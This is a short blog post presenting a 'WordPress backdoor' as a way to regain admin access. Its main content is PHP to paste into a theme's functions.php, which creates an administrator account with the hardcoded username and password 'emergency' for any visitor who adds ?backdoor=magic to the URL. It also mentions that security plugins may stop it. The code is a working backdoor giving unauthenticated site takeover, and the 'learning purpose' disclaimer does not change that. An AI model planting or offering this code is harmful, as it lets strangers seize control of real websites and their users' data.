How To Gain Admin Access with WordPress Backdoor

Imagine you have lost your website credentials or somehow lost. In this circumstance what you will do? WordPress Backdoor access is nice smart tricks to create your admin user.

Note: This post is only for learning purpose.

Let me show how to create backdoor access in WordPress.

Step 1: Navigate your WordPress file and go to wp-contents->themes->yourtheme->functions.php

Step 2: Add the following code in functions.php and save.

add_action('wp_head', 'cwm_create_backdoor');
 
function cwm_create_backdoor() {
    If ($_GET['backdoor'] == 'magic') {
        If (!username_exists('emergency')) {
            $user_id = wp_create_user('emergency', 'emergency');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}

Step 3: To test this code visit your website where you are not logged in and enter this code after URL.

https://yourdomain.com/?backdoor=magic
//note: if any security plugins installed then it may not work.

Note: This post is only for learning purpose.

That’s it. Enjoy WordPress and enjoy. If you need any assistance feel free to contact me. I am available for hire.

Mehedi Hasan
0 0 vote
Article Rating
Subscribe
Notify of
guest
3 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
faysal ahmed

it’s really helpful…..thank you, sir.

Asif

helpful

masud

Great! This is most helpful 🙂

shares
3
0
Would love your thoughts, please comment.x
()
x